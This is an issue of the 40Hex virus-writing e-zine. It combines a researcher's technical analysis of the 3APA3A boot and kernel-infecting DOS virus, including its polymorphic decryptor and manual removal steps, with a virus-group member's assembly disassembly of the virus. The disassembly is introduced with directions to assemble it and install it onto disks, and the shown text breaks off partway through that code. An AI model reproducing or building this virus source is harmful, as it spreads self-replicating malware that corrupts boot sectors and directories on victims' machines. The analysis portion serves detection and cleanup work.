40Hex Number 14 Volume 5 Issue 1 File 007 Virus Spotlight: 3APA3A (ZARAZA) This is a new virus which has come out of Russia. It has received a lot of publicity in the virus and anti-virus communities due to the unusual manner in which it infects. The following article, written by Igor G. Muttik, is a good description of the virus. A disassembly of the virus follows this text. Dark Angel Phalcon/Skism '95 --------------------------------- 3APA3A virus -- the first kernel infector. ========================================== Igor G. Muttik Low Temperature Physics Laboratory, Physics Department, Moscow State University, 117234, Russia Phones: +7 095 9391147 +7 095 3396238 Email: MIG@lt.phys.msu.su KEYWORDS -------- Virus, kernel, boot virus, resident, boot sector, kernel infector. ABSTRACT -------- A new virus, which was found in Moscow in the wild is described. It infects floppy disks as a normal boot virus. As against to normal boot viruses, it infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the hard disk. Thus, this virus can be regarded as a representative of a new virus type - "kernel infectors". Description of the virus internals is given. The virus structure, properties and behavior are discussed. Details on the polymorphicity of 3APA3A are presented. Given partial dumps may help to detect and cure the virus, but cannot be used to reconstruct it. INTRODUCTION ------------ This new virus appeared in Moscow (Russia). It was found in the wild in Moscow 12-14 October 1994. The virus was named "3APA3A" (in Russian it stands for some slang form of "INFECTION"). The message with this string is stored (encrypted) in the body of the virus. Size of the virus is 1024 bytes (exactly two sectors on the floppy disk or on the hard drive). The virus is multipartite: it infects boot sectors on the floppy disks and DOS core file (IO.SYS for MS-DOS; IBMBIO.COM for PC-DOS; etc.). Infection of the floppies is alike many known boot-sector viruses, but the algorithm of the hard drive infection is unique. Therefore, the virus belongs to a new virus class, which was named "kernel infectors". The virus does not analyze the name of DOS core file and I shall use IO.SYS name below for simplicity (it may also be IBMBIO.COM or any other). Once the hard drive has been infected, the virus activates every time the computer is turned on. On the floppy disk, the first half of the virus is stored in the boot sector. Original floppy boot sector and the second half of the virus are stored at the very end of the root directory of the diskette. Thus, when infecting the floppy disk, the virus overwrites two last sectors in its root directory. On the hard drive the virus is at the very beginning of the DOS core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k. INFECTION STRATEGY ------------------ After boot from the infected floppy disk, the virus tries to infect the first file in the root directory of the first DOS partition (usually it is IO.SYS file). Map of memory usage (at the moment of HDD infection) is given in Fig.1. The virus uses segment 7C00 (not 7C0!) for its own buffer (3.5k+sizeof(IO.SYS)). This segment value -- 7C00 corresponds to (512k-16k). Computer memory size equal to 512k will be usually insufficient for normal virus operation, because size of the core file (IO.SYS/IBMBIO.COM) exceeds 16k in most modern DOS versions. Sizes of the system files for some DOS versions are given in Fig.2. Therefore, the virus is hardly viable on the computers without 640k. 3APA3A virus assumes that the active DOS partition has a boot sector at CX=0001, DX=0180 (INT_13 notation: i.e., 1st HDD, head=1, sector=1). It tries to infect only this first partition. If active boot sector is anywhere else - 3APA3A will fail to infect hard disk properly. The virus does not even read MBR to investigate disk partitioning. The virus can only infect the hard drive, if the first DOS partition is bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus cannot infect other FAT types). That was probably done for simplicity, because it will be more difficult to handle 12-bit FATs (or even both FAT types). The author of the 3APA3A virus, probably, decided to make the virus shorter. Fortunately (for him), 16-bit FATs are much more frequent now than 12-bit and much easier to handle. Actually, the virus checks whether total number of sectors in media (i.e., in the first partition) is greater than 5103h or zero. Corresponding fragment of code is given in Fig.3. The comparison with zero is really needed, because all partitions, which have more than 65535 sectors (>32MB) carry zero in this field (and always uses 16-bit FATs). 3APA3A virus does not check neither attributes of the first directory entry, nor its name -- it will even "infect" a subdirectory entry if it is located at the very first position in the root directory of the hard disk (that is possible under DOS 5.0 or higher). When infecting this first entry, the virus duplicates it (i.e., copies IO.SYS file cluster chain, duplicates its directory entry and updates the FATs) and then infects the original IO.SYS file. It also marks this duplicated directory entry with a volume-label bit. This bit serves as an infection marker (if it is set, 3APA3A virus decides that the hard drive is already infected). This bit (when set) simultaneously preserves the infected IO.SYS file from DOS file access -- all DOS file-oriented functions AH=3Dh, 3Eh, 3Fh, 40h will skip this entry. Moreover, this infected file will be not mentioned in the directory listing, because of this bit. That looks like a smart non-resident type of stealth virus. The virus reads only 5 sectors of the root directory of the first DOS partition (others are ignored). 3APA3A virus makes a root directory modification using two shifts (see Fig.4). The first copies entries #3- #79 to the location of #4-#80. The second copies #1 (IO.SYS) to #3. The first shift erases one directory entry (#80, the very last on the 5th directory sector) and it is unrecoverably lost. If this entry was a subdirectory -- all files in it will become inaccessible. Two shifts are needed to guarantee that the first two entries are still IO.SYS and MSDOS.SYS. That is done by the virus to achieve maximum compatibility -- some old versions of DOS (prior to DOS 5.0) require IO.SYS and MSDOS.SYS at the very beginning of the root directory and the virus tries to follow this rule. After directory modification we have two IO.SYS entries in the root directory, but the first is not shown in the directory listing, because this entry has volume-label bit set. Both mentioned directory entries point on two copies of IO.SYS. The first IO.SYS (infected) is located in its old place and it differs from the original in only first 1024 bytes (now, after infection, it is a virus itself). The second IO.SYS directory entry points on a clone of the original IO.SYS file (uninfected), which was copied by the virus to the very end of the first DOS partition. When copying original IO.SYS cluster-by-cluster to the partition end, the virus checks whether there is free place on disk (it reads last sector of FAT). Scanning this last FAT sector (it represents 256 clusters), the virus accurately skips used clusters. If there is no more free clusters (among these 256) -- the virus will stop the entire infection process. But if there is a place for IO.SYS copy -- it will be created. This second IO.SYS copy at the disk end serves for two purposes -- as a source of the original IO.SYS start (1k) and as a decoy for scanners and integrity checkers (they will probably prefer to scan/analyse this non-volume-labeled file). When computer is turned on, DOS boot sector (which was not modified by the virus in any way, as well as a master boot record MBR) runs. There is no DOS file system yet and the program in the boot sector "simply" reads the root directory of the hard disk and finds the first IO.SYS entry. This entry points on the infected IO.SYS file. Unfortunately, DOS boot record program ignores volume-label bit, unlike DOS file system. Thus, the infected copy of the DOS core file IO.SYS is started by DOS boot sector at each computer reboot. When the virus gains control, it saves itself in the computer memory (like a normal boot-sector virus) -- decreases the memory available to DOS on 2 kilobytes (it changes the word at address [0:413]). A reduction in DOS memory is a usual sign of presence of a boot virus. The location of the virus in computer memory is easily calculated. For example, for a normal 640k computer, code segment of the virus will be 9F80. The virus intercepts only disk i/o interrupt (INT_13). Now all accesses to the floppy disks result in their infection. The virus infects floppy disks both in A: and B: drives. Finally, it passes the control to the original IO.SYS. INTERNAL VIRUS STRUCTURE ------------------------ The virus consists of two parts (sectors, 512 bytes each). These two parts are pretty independent! The first (which is stored in the floppy boot sector) is responsible for infection of the hard drive (it checks for virus presence on the hard drive, copies IO.SYS to the partition end, modifies root directory, updates all FATs, makes new IO.SYS with the virus code (1k) at the very start, makes IO.SYS directory entry with a volume-label bit set, and calls original floppy boot sector. At the very end this part stores the location of the infected IO.SYS for future use of the second virus part. The second virus sector (IO_sector) contains trigger routine, message payload, resident installer and INT_13 handler with "polymorphic" encryption routine. The first virus sector is in a boot sector of the contaminated diskette, the second virus sector -- in the last sector of root directory. On the hard disk this sequence is opposite -- infected IO.SYS is started with mentioned second virus sector (IO_sector), which is followed by a boot sector. Therefore, first virus sector contains a program to infect hard drive and IO_sector is simply placed into IO.SYS and not executed in any part. The IO_sector contains a program to infect floppy disks and it simply places infected boot sector (after appropriate encryption) on the floppy disk. Two virus parts (boot sector and IO_sector) work at different time (first -- only at boot from the infected floppy, second -- only at boot from the hard drive) and virus boot sector only once passes a parameter (DX:AX) to the IO_sector. Only one procedure is shared by both virus parts -- which converts sector# in DX:AX into CX=sec/cyl, DH=head (and the virus has to patch offset in E8 call to this procedure, because it is located at different offset now, not in 0000:7C00, as at boot time; this procedure is at 7DD3 and/or at 3D3). Unlike many other boot sector viruses, 3APA3A encrypts its code (in a floppy boot sector). Moreover, 3APA3A virus is slightly polymorphic, which is even more unusual -- decryptor of the infected boot sector is variable. By the way, only very few boot-sector viruses have polymorphic properties. The dump of the virus decryption routine is given in Fig.5. The order of instruction is fixed. Random value (word) is taken from BIOS timer counter [0:46C]. There are 8 types of encryption routine (4 use DI register, 4 use SI). Probability of SI usage is 3 times higher, than usage of DI. One can see that the offset of decryptor's terminating jump is encrypted with 25% probability (byte at 7C2B, which is an offset of a conditional jump, is encrypted with the mentioned probability). Thus, the virus decryptor will hang with a 25% probability on 386 and 486 processors. Lower processors (8088-80286) have a small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it is not sufficient to store whole decryption cycle and cause a hang. Pentium is free of this problem, because it can detect the access to the pre-fetched bytes and flash the queue. On 80386-80486 processors the virus will hang with 25% probability when booting from floppy disk if the JNZ offset was encrypted -- data in memory and in processor queue will become different during decryption, processor will go into garbage codes and hang. Because of the encryption, only string like 'MSDOS 5.0' is visible at the beginning of the boot sector (this string is a reminiscence of an original boot sector of a floppy disk). Obviously, 55AA marker is present at the very end of the boot-sector. Second virus part (IO_sector), which is placed at the very last sector of the root directory of the floppy disk, is not encrypted at all. Its location is stored inside the code of the first virus sector at the moment of floppy infection. Two bytes in the boot sector are used as an infection marker -- byte at offset 18h must be zero and byte at 21h must be 2Eh (first is byte from BPB, second -- constant byte in the decryption routine, CS: prefix). Prior to the infection of floppy disk the virus performs checks whether this marker is already present. If this is the case -- the virus decides that floppy disk is already infected. If, occasionally, you will place too many files in the root directory of the floppy and the directory entries will overwrite the second virus sector (IO_sector) -- this floppy disk will become a carrier of a damaged virus. If now any hard drive will be infected with this floppy, it will become unbootable (start of IO.SYS file will carry the directory entries from the floppy directory, instead of the virus body). The structure of the second virus sector (IO_sector) is shown in Fig.6. DOS boot sector loads this code (as a part of normal IO.SYS) to computer memory. After virus code (first 1k in IO.SYS) follows normal IO.SYS image. The virus moves its own code (this 1k) to CS=9F80 (for a normal 640k PC) and replaces it with an original IO.SYS start. Original IO.SYS start is read from hard disk and its position was stored inside the virus body at the moment of hard drive infection. Final RETF transfers control to the original IO.SYS image, which was "assembled" in memory by 3APA3A virus. Memory map usage of 3APA3A virus, when it is resident in the computer memory, is given in Fig.7. When the virus analyses an access to the floppy drive, sitting on the INT_13, it does not perform full check whether boot sector is accessed (usually AH=02, CX=0001, DH=0), but it calculates the sum DH+CL+CH and decides that boot sector is accessed if it is equal to 1. That is not very compatible approach (because AH is ignored at all) and I have found one program, which confused 3APA3A and virus even tried to access empty A: and B: drives. This program is PU_1700.COM -- a resident BIOS extension to format/access floppies of 1.44MB size in a 5.25" high-density floppy drives. When PU_1700 is loaded with the virus active in memory, both floppy drives turn on their LEDs. Unusual method is used by the virus to access original INT_13 routine from inside of virus INT_13 handler. The virus patches its own program (Fig.8) -- places JMP instruction near the beginning of its own handler, i.e., it "closes the window leaf". Now the virus makes an INT_13 call (it is, obviously, reentrant call). Upon return from this call the "window leaf" is opened back (JMP is replaced with JNZ). The virus carries the following message -- "B BOOT CEKTOPE - 3APA3A!" This string is in Russian, and translation is -- "IN BOOT SECTOR - INFECTION!". Besides its usual use as "infection/contagion", "3APA3A" in Russian designates something particularly boring and annoying. This string is encrypted (it is located at offset 9A in the IO_sector of the virus, its length is 1A bytes) and it is not visible even in memory. It will be printed in August on each reboot from the hard drive (the virus calls INT_1A/AH=04 and checks if DH=08). Obviously, the virus will never print the message on XT computers, because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the message is not printed, the virus does not advertise its presence at all. It is, therefore, quite difficult to spot. Method of the encryption of this string is somewhat unusual (see Fig. 9). It looks like a "delta"-coding, because the current byte in the series, when being added to the previous character code, gives the next one. The virus message terminates with ASCII codes "07", "0D", "10" (see Fig.9). First is a beep, second is a carriage return symbol (CR), but the last is probably cased by a mistype of the virus author. He probably wanted to type CR, LF (normal string terminator), but used hexadecimal 10, instead of decimal (i.e., 10h instead of 0Ah). The virus message is written in Russian, but is composed only of the pure English ASCII symbols. The reason is simple -- message is printed at boot time, when software Cyrillic character generator is not yet loaded, so it is not possible to use Cyrillic letters. The only way -- to compose message from normal ASCII letters and digits (digit "3" represents Russian letter, which sounds like "Z"). Correct spelling of the virus name -- "3APA3A" in Russian is "ZARAZA". Here all "Z" sound like in "zero" and all "A" sound like "u" in "cut". 3APA3A virus carries no special destructive payload. 3APA3A: TREATMENT AND RUMORS ---------------------------- After infection of the hard disk the first root directory entry is always marked with a volume label bit. Therefore, old disk volume label will be not shown and the infected hard disk will usually carry label "IO SYS" (or "IBMBIO COM" for PC-DOS, etc.). It will be reported by DIR and LABEL command. The most noticeable effect of virus presence is an unusual disk label. This new "label" is uneraseable and unchangeable even with a LABEL command. Probably DOS is confused with a strange volume label, which has a non-zero length and it refuses to change it. Unfortunately, DOS even does not report that he fails to change (delete) the disk label -- no error or warning message is given. First attempt of an inexperienced user to remove the virus may be the usage of undocumented FDISK /MBR call, which reinitializes the MBR program, leaving partition table intact. Obviously, this approach not works, because the virus is not stored in the MBR. Reinitialization of DOS boot sector will not help too. That is because copy of the virus code is neither in MBR, nor in DOS boot sector, but in IO.SYS file. The most reasonable operation is to try to get rid of the 3APA3A virus using SYS C: command. Unfortunately it does not work too! And even after booting from the clean diskette! The reason is obvious -- SYS C: will modify/remove the second copy of the IO.SYS file (uninfected copy!), which is located at the very end of the first DOS partition. The infected copy of IO.SYS will not be rewritten, because volume-label bit preserved it from being recognized by SYS program as a DOS core file. CHKDSK (in MS-DOS) will always report errors on the infected hard disk, because it will be alarmed with a FAT chain, attached to the volume-labeled file. Note, that MS-DOS and DR-DOS behaves differently with "volume-labeled" files. Norton Disk Doctor (I tested NDD from Norton Utilities 6.0) gives no warnings on the contaminated hard disk. Note that many disk optimizers (like Norton SpeedDisk) prefer to place the subdirectories in the very beginning of the root directory (it is possible only in later versions of DOS, probably starting at 5.00). The virus does not check if IO.SYS is really the first entry in the root directory (only checks volume bit!), so it can easily take the first directory in the root and regard it as an infectable DOS core file! Such an attempt to "infect" the hard drive will fail -- the virus will perform all its actions, but original IO.SYS will be intact. Presence of duplicated subdirectory (if it was the 1st entry) will not affect normal operation of the computer, because this duplicated subdirectory with volume-label bit will be ignored by DOS. And original IO.SYS (placed by SpeedDisk somewhere else in the root directory) will be uninfected. Only CHKDSK will report disk errors. The simple sequence of actions to remove the virus from hard drive is the following: 1. Delete IO.SYS file (original uninfected copy). You may need to remove Hidden/System/Read-Only attributes to do that (for example use Norton Commander). 2. Remove "Vol" attribute from the infected IO.SYS in the root (you can use Norton DiskEdit to do this; infected volume-labeled IO.SYS is the 1st directory entry). 3. Delete IO.SYS file (infected copy). You may need to remove Hidden/System/Read-Only attributes to do that (for example use NC). 4. Run CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk errors may have been appeared on the hard disk because of the lost #80 dir entry). 5. Run SYS C: from the system floppy disk to restore IO.SYS. Note: Actions 1)-3) can be done with Norton DiskEdit. The virus is very virulent, but we hope that the infection will be local, because anti-3APA3A measures were undertaken shortly. The users were notified about the possible threat and anti-virus programs appeared, which are capable to detect and remove 3APA3A from diskettes and from the hard drive. There is an unconfirmed information that currently available 3APA3A virus is actually the second virus in the strain. According to the information from Russian anti-virus circles, there was a previous version, which was released in March 1994 and computers in some banks in Moscow were contaminated. The author of 3APA3A virus wrote a couple of Email messages, which were delivered through Fidonet without the originating address and they had a signature "Gena". Last stands for the male name. He insisted that there are at least two versions in the wild. He claimed that he already created more "powerful" version(s), but they are still in the "research phase" and not yet in the wild. He also wrote that his viruses were caught with such a big delay, that he is fully contented. There is also a rumor that the author of 3APA3A viruses was forced to delete all his assembler texts by indignant PC users. ACKNOWLEDGEMENTS ---------------- I am acknowledged to VForum members for the fruitful discussion of 3APA3A properties (especially to Anthony Naggs, Vesselin Bontchev and Paul Ducklin). I am also acknowledged to Igor Daniloff (SALD, Saint- Petersburg, Russia). FIGURES ------- Figure 1. Map of memory usage of 3APA3A virus, when the virus boot sector is infecting the hard drive. Address Size Function (buffer for) ------------------------------------------------------- 7C00:0000 200h Hard drive boot sector 7C00:0200 2 AX for INT_13 (0201h, 0301h, etc.) 7C00:0202 1 DH for INT_13 (usually 80h) 7C00:0203 200h FAT end 7C00:0403 A00h HDD Root directory, 5 sectors only! 7C00:0E03 200h FAT start 7C00:1003 2000h 1 cluster of original IO.SYS (*) 7C00:3003 2000h 2 cluster 7C00:5003 2000h 3 cluster 7C00:7003 2000h 4 cluster 7C00:9003 2000h 5 cluster 7C00:B003 2000h 6 cluster ... ... ... 7C00:xx03 2000h last IO.SYS cluster ------------------------------------------------------- (*) Cluster size was taken 8192 bytes (16 sectors) only for example. It may be different according to sectors/cluster ratio. Figure 2. Sizes of DOS system files for different versions (in bytes). ------------------------------------------------------------- DOS version DOS type IO/IBMBIO MSDOS/IBMDOS COMMAND.COM -------------------------------------------------------------- 1.00 PC 2047 6400 4959 2.00 PC 4907 17411 18160 3.00 PC 8964 27920 22042 3.30 MS 22357 30128 25276 4.00 PC 32810 35984 37637 4.01 MS 33337 37376 37557 5.00 MS 33430 37394 47845 6.20 MS 40566 38138 54500 -------------------------------------------------------------- Figure 3. Virus code fragment, which checks whether partition uses 16 bit FAT or not. 7C75 A11300 MOV AX,[0013] ;total sectors in media on HDD 7C78 48 DEC AX ;0000 -> FFFF (for big disks!) 7C79 3D0351 CMP AX,5103 ;16 bit FAT guaranteed! 7C7C 76B1 JBE 7C2F ;pass control to floppy boot ... Figure 4. Modification of the root directory of first DOS partition by 3APA3A virus: a) initial layout, b) after first shift c) after copying of IO.SYS entry to 3rd position. ------------- ------------- ------------- #1 IO.SYS IO.SYS IO.SYS -> infected IO.SYS ------------- ------------- ------------- #2 MSDOS.SYS MSDOS.SYS MSDOS.SYS ------------- ------------- ------------- #3 FILE0003.EXT FILE0003.EXT IO.SYS -> copy of IO.SYS ------------- ------------- ------------- #4 FILE0004.EXT FILE0003.EXT FILE0003.EXT ------------- ------------- ------------- ... ------------- ------------- ------------- #79 FILE0079.EXT FILE0078.EXT FILE0078.EXT ------------- ------------- ------------- #80 FILE0080.EXT FILE0079.EXT FILE0079.EXT ------------- ------------- ------------- a) b) c) Figure 5. The decryptor of virus floppy boot sector is polymorphic. A caret "^" symbol designates variable bytes. Number in brackets corresponds to a comment below. 7C1E BE2C7C MOV SI,7C2C ;starting address ^^^^ (1) 7C21 2E CS: ;infection marker! (1 byte of 2) 7C22 800470 ADD BYTE PTR [SI],70 ^^^^^^ (2) 7C25 46 INC SI ^^ (3) 7C26 81FEFB7D CMP SI,7DFB ;upper limit ? ^^^^ (4) 7C2A 75F5 JNZ 7C21 ;<- JNZ offset may be encrypted ^^ (5) 7C2C ... (1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF. Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E. Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E (with equal probability). (2) These three bytes are variable: F61490 or F61590 NOT BYTE PTR [SI] ;or [DI] (3rd byte is 90h) 8004xx or 8005xx ADD BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND) 802Cxx or 802Dxx SUB BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND) 8034xx or 8035xx XOR BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND) (3) This byte may be 46 (INC SI, 75% probability) or 47 (INC DI, 25% probability) (4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF. Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD) (5) This byte may be encrypted (probability=25%)! And the virus will hang on 386, 486 because of processor queue pre-fetch. Figure 6. Global structure of the virus IO_sector. 0000:7C00 PUSH CS ;places startCS on stack CALL $+3 POP SI ;gets relative position in CS SUB SI,4 ;sizeof(PUSH+CALL) PUSH SI ;places it on stack ;(startCS:SI=0000:7C00 is on stack) PUSH AX/BX/CX/DX/DS/ES --------------------- | viral code | --------------------- --------------------- | copy virus | | code to | | ES=9F80 | --------------------- PUSH ES ;ES=9F80 MOV AX,006C PUSH AX ;(9F80:006C is on stack now) RETF ;same as JMP 9F80:006C 9F80:006C --------------------- | read 2 sectors | | from original | | IO.SYS to | | 0000:7C00 | ;read 1k to startCS:SI=0000:7C00 | ... | --------------------- POP ES/DS/DX/CX/BX/AX RETF ;same as JMP 0000:7C00 Figure 7. Map of memory usage of 3APA3A virus, when it is resident in computer memory (CS=9F80 and the virus sets DS=ES=9FA0). ---------------------------------------------------------------------- Address (same as) Size Function CS:offset DS:offset (bytes) (buffer for) ---------------------------------------------------------------------- 9F80:0000 200h IO_sector 9F80:0200 9FA0:0000 200h Virus boot sector (used for encryption) 9F80:0400 9FA0:0200 2 0201/0301 (AX for INT_13) 9F80:0402 9FA0:0202 1 0/1 (DL for INT_13) 9F80:041E 9FA0:021E 1E2h Virus boot sector code (orig. copy) 9F80:0600 9FA0:0400 200h Current floppy boot sector ---------------------------------------------------------------------- (*) Code segment CS=9F80 was taken for example. That is a location of the virus for normal 640k computer (CS=A000-2k). Figure 8. "Window leaf" in the interrupt 13h function of virus. Leaf is "closed" at address 00BC and is opened at 00C4. 00B4 A10002 MOV AX,[0200] ;may be read and write 00B7 8A160202 MOV DL,[0202] ;drive # (0/80) 00BB 2E CS: 00BC C606E300EB MOV BYTE PTR [00E3],EB ;-> JMP ("close leaf") 00C1 CD13 INT 13 00C3 2E CS: 00C4 C606E30075 MOV BYTE PTR [00E3],75 ;-> JNZ ("open leaf") 00C9 7202 JB 00CD 00CB FC CLD 00CC C3 RET ... ; virus INT_13 handler (usually at 9F80:00D5) 00D5 50 PUSH AX 00D6 53 PUSH BX 00D7 51 PUSH CX 00D8 52 PUSH DX 00D9 56 PUSH SI 00DA 57 PUSH DI 00DB 1E PUSH DS 00DC 06 PUSH ES 00DD 55 PUSH BP 00DE 8BEC MOV BP,SP 00E0 F6C280 TEST DL,80 ;HDD (1st or 2nd)? 00E3 EBED JMP 00D2 ;<- see 00C4 & 00BC (set JNZ/JMP) ;here if not HDD 00E5 02F1 ADD DH,CL 00E7 02F5 ADD DH,CH 00E9 80FE01 CMP DH,01 ;DH=CH+CL+DH=1 if boot sector 00EC 77E4 JA 00D2 ;exit from handler ... Figure 9. The virus code fragment, which prints the message "B BOOT CEKTOPE - 3APA3A! <0Dh> <10h>" 000F B404 MOV AH,04 ;get CMOS date 0011 CD1A INT 1A 0013 80FE08 CMP DH,08 ;August? 0016 7512 JNZ 002A 0018 8D9C9A00 LEA BX,[SI+009A] ;pointer on message 001C B8420E MOV AX,0E42 ;tty output, ASCII(42)='B' 001F B91A00 MOV CX,001A ;length ; 0022 CD10 INT 10 0024 2E CS: 0025 0207 ADD AL,[BX] ;sum all prev. chars in AL 0027 43 INC BX ;increase pointer 0028 E2F8 LOOP 0022 ... 009A DE220D0005CC2302 ;this table stores values, 00A2 0609FB01F5DB0DF3 ;which being added to previous char 00AA 130E0FF1F20EE0E6 ;gives new one (smth. like "delta"-coding) 00B2 0603 ;last char has an error - 10h instead of LF --------------------------------------------------- ; To assemble, simple run TASM and TLINK on this file and generate a binary. ; The first 512d bytes of the binary will contain the portion of the virus ; which resides in IO.SYS. The second 512d bytes will contain the boot ; section portion of the virus. ; Installation is slightly more difficult. It requires you to simulate ; an infection with 3apa3a. Read the text above for information. Basically, ; you have to fill in the BPB in the boot sector, fill in the patch values, ; and then move the pieces onto the disk properly. .model tiny .code .radix 16 org 0 ; 3apa3a virus ; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14 zero: _3apa3a: push cs call doffset doffset: pop si db 83,0EE,4 ; sub si,4 push si ax bx cx dx ds es mov ah,4 ; get date int 1Ah cmp dh,8 ; september? jne no_activate lea bx,cs:[si+message-_3apa3a] mov ax,0E42 ; begin with B mov cx,endmessage - message display_loop: int 10 ; print character add al,cs:[bx] ; calculate next character inc bx loop display_loop no_activate: cld xor ax,ax ; ds = 0 mov ds,ax push cs ; es = cs pop es lea di,[si+offset old_i13] push si mov si,13*4 ; grab old int 13 handler movsw movsw mov ax,ds:413 ; get BIOS memory size dec ax ; decrease by 2K dec ax mov ds:413,ax ; replace the value mov cl,6 ; convert to paragraphs shl ax,cl mov [si-2],ax ; replace interrupt handler mov word ptr [si-4],offset i13 mov es,ax ; move ourselves up push cs pop ds si xor di,di mov cx,200 push si rep movsw ; copy now! inc ch ; cx = 1 sub si,200 ; copy rest rep movsw pop si push cs es mov ax,offset highentry push ax retf highentry: mov ax,7C0 mov ds,ax mov word ptr ds:200,201 mov byte ptr ds:202,80 les ax,dword ptr cs:203 mov dx,es pop es mov bx,si mov cx,1 mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call call work_on_sectors ; do_i13 pop es ds dx cx bx ax retf message: db ' ' - 'B' db 'B' - ' ' db 'O' - 'B' db 'O' - 'O' db 'T' - 'O' db ' ' - 'T' db 'C' - ' ' db 'E' - 'C' db 'K' - 'E' db 'T' - 'K' db 'O' - 'T' db 'P' - 'O' db 'E' - 'P' db ' ' - 'E' db '-' - ' ' db ' ' - '-' db '3' - ' ' db 'A' - '3' db 'P' - 'A' db 'A' - 'P' db '3' - 'A' db 'A' - '3' db '!' - 'A' db 7 - '!' db 0Dh - 7 db 10 - 0Dh endmessage: do_i13: mov ax,ds:200 mov dl,ds:202 mov byte ptr cs:patch,0EBh ; jmp absolute int 13 ; do interrupt mov byte ptr cs:patch,75 ; jnz jc retry_error cld retn retry_error: cmp dl,80 ; first hard drive? je do_i13 ; if so, retry go_exit_i13: jmp exit_i13 ; otherwise quit i13: push ax bx cx dx si di ds es bp mov bp,sp test dl,80 ; hard drive? patch: jnz go_exit_i13 add dh,cl ; check if working on add dh,ch ; boot sector or cmp dh,1 ; partition table ja go_exit_i13 ; if not, quit mov ax,cs ; get our current segment add ax,20 ; move up 200 bytes mov ds,ax mov es,ax mov word ptr ds:200,201 ; set function to read mov ds:202,dl ; set drive to hard drive mov bx,400 ; set buffer xor dx,dx ; read in the boot sector push dx mov cx,1 call do_i13 ; read in boot sector cmp byte ptr ds:400+21,2E ; check if 3apa3a already there je go_exit_i13 cmp byte ptr ds:400+18,0 je go_exit_i13 push cs pop es mov di,203 mov si,403 mov cx,1Bh ; copy disk tables cld rep movsb sub si,200 ; copy the rest mov cx,1E2 rep movsb inc byte ptr ds:201 ; set to write mov ax,ds:16 ; get sectors per FAT mul byte ptr ds:10 ; multiply by # FATs mov bx,ds:11 ; get number of sectors mov cl,4 ; occupied by the root shr bx,cl ; directory db 83,0FBh,5 ; cmp bx,5 ; at least five? jbe go_exit_i13 ; if not, quit add ax,bx ; add ax,ds:0E ; add # reserved sectors dec ax ; drop two sectors to find dec ax ; start of last sector xor dx,dx ; of root directory push ax dx call abs_sec_to_BIOS mov ds:patch1-200,cx ; move original boot mov ds:patch2-200,dh ; sector to the end of the xor bx,bx ; root directory call do_i13 pop dx ax dec ax call abs_sec_to_BIOS mov ds:34,cx ;patch3 ; write io portion to mov ds:37,dh ;patch4 add bh,6 ; bx = 600 call do_i13 push ds xor ax,ax mov ds,ax mov dx,ds:46C ; get timer ticks pop ds mov bl,dl ; eight possible instructions db 83,0E3,3 ; and bx,3 push bx shl bx,1 ; convert to word index mov si,bx mov cx,es:[bx+encrypt_table] pop bx push bx mov bh,bl shr bl,1 ; bl decides which ptr to use lea ax,cs:[bx+2BBE] ; patch pointer mov ds:[decrypt-bs_3apa3a],ax ; and start location add ch,bl mov ds:[encrypt_instr-bs_3apa3a],cx add ax,0CF40 mov ds:[patch_endptr-bs_3apa3a],ax pop ax push ax mul dh add al,90 ; encode xchg ax,?? add bl,46 ; encode inc pointer mov ah,bl mov ds:[patch_incptr-bs_3apa3a],ax mov dx,word ptr cs:[si+decrypt_table] mov word ptr cs:decrypt_instr,dx pop di db 83,0C7 ;add di,XX ; start past decryptor dw bs_3apa3a_decrypt - bs_3apa3a org $ - 1 mov si,di push ds pop es mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt mov ah,al encrypt_loop: lodsb decrypt_instr: add al,ah stosb loop encrypt_loop pop dx mov cx,1 ; write the replacement xor bx,bx ; boot sector to the disk call do_i13 exit_i13: mov sp,bp pop bp es ds di si dx cx bx ax db 0EAh old_i13 dw 0, 0 decrypt_table: not al sub al,ah add al,ah xor al,ah encrypt_table dw 014F6 ; not dw 0480 ; add dw 2C80 ; sub dw 3480 ; xor ; This marks the end of the IO.SYS only portion of 3apa3a ; The boot sector portion of 3apa3a follows. adj_ofs = 7C00 + zero - bs_3apa3a bs_3apa3a: jmp short decrypt nop ; The following is an invalid boot sector. Replace it with ; yours. db ' ' db 00, 00, 00, 00, 00, 00 db 00, 00, 00, 00, 00, 00 db 00, 00, 00, 00, 00, 00 db 00 decrypt: db 0BF ; mov di, dw adj_ofs + bs_3apa3a_decrypt decrypt_loop: db 2e ; cs: encrypt_instr label word db 80,2Dh ; sub byte ptr [di],XX patch_incptr label word db 0 ; temporary value for cryptval inc di db 81 ; cmp patch_endptr label word db 0ff ; pointer dw adj_ofs + end_crypt jne decrypt_loop bs_3apa3a_decrypt = $ - 1 jmp short enter_bs_3apa3a nop load_original: xor dx,dx ; set up the read mov es,dx ; of the original boot sector db 0B9 ; mov cx, XXXX patch3 dw 3 db 0B6 patch4 db 1 mov bx,ds ; es:bx = 0:7C00 mov ax,201 db 0ebh ; jump to code in stack dw bs_3apa3a - 4 - ($ + 1) org $ - 1 enter_bs_3apa3a:cli xor ax,ax mov ss,ax ; set stack to just below us mov sp,7C00 sti mov dl,80 ; reset hard drive int 13 mov ax,2F72 ; encode JNZ load_original at ; 7BFE mov ds,sp ; set segment registers to mov es,sp ; 7C00 push ax mov word ptr ds:200,201 ; do a read mov ds:202,dl ; from the hard drive xor bx,bx ; read to 7C00:0 mov dh,1 ; read head 1 mov cx,1 ; read sector 1 ; (assumes active boot ; sector is here) mov ax,13CDh ; encode int 13 at 7BFC push ax call exec_int13 ; do the read mov bx,203 cmp byte ptr [bx-4],0AA ; is it valid bs? jnz_load_original: jne load_original ; if not, assume infected and ; transfer control to it mov ax,ds:13 ; get number of sectors in 